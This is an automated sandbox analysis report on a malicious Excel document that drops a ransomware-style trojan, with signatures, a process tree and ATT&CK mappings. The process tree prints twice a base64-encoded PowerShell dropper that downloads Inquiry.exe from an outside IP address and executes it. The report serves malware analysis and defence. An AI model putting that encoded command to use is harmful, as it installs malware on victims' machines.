Overview

overview

10

task1

 

1

task2

 

10

Analysis

  • max time kernel
    150s
  • resource
    win10v191014
  • submitted
    21-01-2020 16:31

Sharing

Copy URL
Twitter E-mail

General

  • Target

    a1eb07454ea5adab102dea131a43042b47ab37320077a33c28988f40a7e23d4e

  • Sample

    200121-p3fehv18v6

  • SHA256

    a1eb07454ea5adab102dea131a43042b47ab37320077a33c28988f40a7e23d4e

Score
10/10
evasiontrojanransomwarespreading

Malware Config

Signatures

  • NTFS ADS 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Executes dropped EXE 4 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Modifies registry class 233 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
    adwarespyware
  • Modifies control panel 3 IoCs
    evasion
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Windows directory 1 IoCs
  • Drops autorun.inf file 1 TTPs 2 IoCs
    spreadingtrojan
  • Process spawned unexpected child process 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 6 IoCs
    evasiontrojan
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\a1eb07454ea5adab102dea131a43042b47ab37320077a33c28988f40a7e23d4e.xls
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Checks processor information in registry
    PID:4984
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" & /c pOwersHEll -E ZgB1AG4AYwB0AGkAbwBuACAAcABXADkANAAyAEYAdABNAFoAaABLAGkAXwBIAFkAbQBrAFEAagA3AFEAOQBvAHEANAAgACgAIAAkAFcATwA5AHMARwB4AHEAYQBnAEIAXwAxAG4ASwBYAHQAXwBwAFcAXwAgACwAIAAkAHMAMgA4AHYARQBwAFYAbABuAGIAcAByAFAAXwBjADEAdQBkAFEAcwBjAEcAZwBFAFQAdgA2AEUASwAgACkADQAKAHsADQAKAA0ACgANAAoAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoAA0ACgAkAFcATwA5AHMARwB4AHEAYQBnAEIAXwAxAG4ASwBYAHQAXwBwAFcAXwAgACwAIAAkAHMAMgA4AHYARQBwAFYAbABuAGIAcAByAFAAXwBjADEAdQBkAFEAcwBjAEcAZwBFAFQAdgA2AEUASwAgAA0ACgApAA0ACgA7AA0ACgANAAoAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBjAG8AbQAgAFMAaABlAGwAbAAuAEEAcABwAGwAaQBjAGEAdABpAG8AbgApAC4AUwBoAGUAbABsAEUAeABlAGMAdQB0AGUAKAAgACQAcwAyADgAdgBFAHAAVgBsAG4AYgBwAHIAUABfAGMAMQB1AGQAUQBzAGMARwBnAEUAVAB2ADYARQBLACAAKQANAAoAOwANAAoADQAKAH0ADQAKAA0ACgB0AHIAeQB7AA0ACgANAAoADQAKAA0ACgANAAoADQAKAA0ACgANAAoADQAKACQAdQA4AGgAYwAyAHcAbwA3ADIAdgB1AGEAMQBXAEEAagBaAGIAZQBQAEMAcQBqADUAPQAkAGUAbgBWADoAdABFAE0AcAArACcAXABJAG4AcQB1AGkAcgB5AC4AZQB4AGUAJwA7AA0ACgBwAFcAOQA0ADIARgB0AE0AWgBoAEsAaQBfAEgAWQBtAGsAUQBqADcAUQA5AG8AcQA0ACAAJwBoAHQAdABwADoALwAvADEANQAxAC4AMQAwADYALgAyAC4AMQAwADMALwBJAG4AcQB1AGkAcgB5AC4AZQB4AGUAJwAgACQAdQA4AGgAYwAyAHcAbwA3ADIAdgB1AGEAMQBXAEEAagBaAGIAZQBQAEMAcQBqADUAOwANAAoADQAKAA0ACgANAAoAfQANAAoADQAKAA0ACgBjAGEAdABjAGgAewB9AA==
      2⤵
      • Process spawned unexpected child process
      PID:2032
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        pOwersHEll -E ZgB1AG4AYwB0AGkAbwBuACAAcABXADkANAAyAEYAdABNAFoAaABLAGkAXwBIAFkAbQBrAFEAagA3AFEAOQBvAHEANAAgACgAIAAkAFcATwA5AHMARwB4AHEAYQBnAEIAXwAxAG4ASwBYAHQAXwBwAFcAXwAgACwAIAAkAHMAMgA4AHYARQBwAFYAbABuAGIAcAByAFAAXwBjADEAdQBkAFEAcwBjAEcAZwBFAFQAdgA2AEUASwAgACkADQAKAHsADQAKAA0ACgANAAoAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoAA0ACgAkAFcATwA5AHMARwB4AHEAYQBnAEIAXwAxAG4ASwBYAHQAXwBwAFcAXwAgACwAIAAkAHMAMgA4AHYARQBwAFYAbABuAGIAcAByAFAAXwBjADEAdQBkAFEAcwBjAEcAZwBFAFQAdgA2AEUASwAgAA0ACgApAA0ACgA7AA0ACgANAAoAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBjAG8AbQAgAFMAaABlAGwAbAAuAEEAcABwAGwAaQBjAGEAdABpAG8AbgApAC4AUwBoAGUAbABsAEUAeABlAGMAdQB0AGUAKAAgACQAcwAyADgAdgBFAHAAVgBsAG4AYgBwAHIAUABfAGMAMQB1AGQAUQBzAGMARwBnAEUAVAB2ADYARQBLACAAKQANAAoAOwANAAoADQAKAH0ADQAKAA0ACgB0AHIAeQB7AA0ACgANAAoADQAKAA0ACgANAAoADQAKAA0ACgANAAoADQAKACQAdQA4AGgAYwAyAHcAbwA3ADIAdgB1AGEAMQBXAEEAagBaAGIAZQBQAEMAcQBqADUAPQAkAGUAbgBWADoAdABFAE0AcAArACcAXABJAG4AcQB1AGkAcgB5AC4AZQB4AGUAJwA7AA0ACgBwAFcAOQA0ADIARgB0AE0AWgBoAEsAaQBfAEgAWQBtAGsAUQBqADcAUQA5AG8AcQA0ACAAJwBoAHQAdABwADoALwAvADEANQAxAC4AMQAwADYALgAyAC4AMQAwADMALwBJAG4AcQB1AGkAcgB5AC4AZQB4AGUAJwAgACQAdQA4AGgAYwAyAHcAbwA3ADIAdgB1AGEAMQBXAEEAagBaAGIAZQBQAEMAcQBqADUAOwANAAoADQAKAA0ACgANAAoAfQANAAoADQAKAA0ACgBjAGEAdABjAGgAewB9AA==
        3⤵
        • Suspicious use of WriteProcessMemory
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious behavior: EnumeratesProcesses
        PID:3800
        • C:\Users\Admin\AppData\Local\Temp\Inquiry.exe
          "C:\Users\Admin\AppData\Local\Temp\Inquiry.exe"
          4⤵
          • NTFS ADS
          • Suspicious use of WriteProcessMemory
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          PID:4700
          • C:\Users\Admin\AppData\Roaming\Inqyuiry\Inquiry.exe
            "C:\Users\Admin\AppData\Roaming\Inqyuiry\Inquiry.exe"
            5⤵
            • Suspicious use of WriteProcessMemory
            • Executes dropped EXE
            • Suspicious behavior: MapViewOfSection
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of SetThreadContext
            PID:4732
            • C:\Users\Admin\AppData\Roaming\Inqyuiry\Inquiry.exe
              "C:\Users\Admin\AppData\Roaming\Inqyuiry\Inquiry.exe"
              6⤵
              • NTFS ADS
              • Executes dropped EXE
              • Modifies control panel
              • Sets desktop wallpaper using registry
              • Drops autorun.inf file
              • Suspicious use of AdjustPrivilegeToken
              PID:4428
            • C:\Users\Admin\AppData\Roaming\Inqyuiry\Inquiry.exe
              "C:\Users\Admin\AppData\Roaming\Inqyuiry\Inquiry.exe" 2 4428 95328
              6⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              PID:4412
  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Modifies registry class
    • Modifies Internet Explorer settings
    • Modifies control panel
    • Drops file in Windows directory
    • Suspicious use of AdjustPrivilegeToken
    • Checks whether UAC is enabled
    PID:4804
  • C:\Windows\system32\browser_broker.exe
    C:\Windows\system32\browser_broker.exe -Embedding
    1⤵
    • Modifies Internet Explorer settings
    PID:656
  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    • Suspicious behavior: MapViewOfSection
    • Modifies registry class
    • Checks whether UAC is enabled
    PID:1844
  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
    1⤵
    • Modifies registry class
    • Modifies Internet Explorer settings
    • Suspicious use of AdjustPrivilegeToken
    • Checks whether UAC is enabled
    PID:2420
  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
    1⤵
    • Modifies registry class
    • Suspicious use of AdjustPrivilegeToken
    • Checks whether UAC is enabled
    PID:4160
  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
    1⤵
    • Modifies registry class
    • Checks whether UAC is enabled
    PID:5176
  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
    1⤵
    • Modifies registry class
    • Checks whether UAC is enabled
    PID:5260

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Replication Through Removable Media

1
T1091

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

2
T1112

Credential Access

Discovery

Query Registry

2
T1012

System Information Discovery

3
T1082

Lateral Movement

Replication Through Removable Media

1
T1091

Collection

Exfiltration

Command and Control

Impact

Defacement

1
T1491

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\Inquiry.exe
    Download Submit
  • C:\Users\Admin\AppData\Local\Temp\Inquiry.exe
    Download Submit
  • C:\Users\Admin\AppData\Roaming\Inqyuiry\Inquiry.exe
    Download Submit
  • C:\Users\Admin\AppData\Roaming\Inqyuiry\Inquiry.exe
    Download Submit
  • C:\Users\Admin\AppData\Roaming\Inqyuiry\Inquiry.exe
    Download Submit
  • C:\Users\Admin\AppData\Roaming\Inqyuiry\Inquiry.exe
    Download Submit
  • memory/4428-8-0x0000000000400000-0x0000000000620000-memory.dmp
    Filesize

    2.1MB

    Download
  • memory/4428-11-0x0000000000400000-0x0000000000620000-memory.dmp
    Filesize

    2.1MB

    Download
  • memory/4428-12-0x00000000025B0000-0x00000000026BC000-memory.dmp
    Filesize

    1.0MB

    Download
  • memory/4428-13-0x00000000006B2000-0x00000000006B3000-memory.dmp
    Filesize

    4KB

    Download
  • memory/4428-14-0x000000000B600000-0x000000000B602000-memory.dmp
    Filesize

    8KB

    Download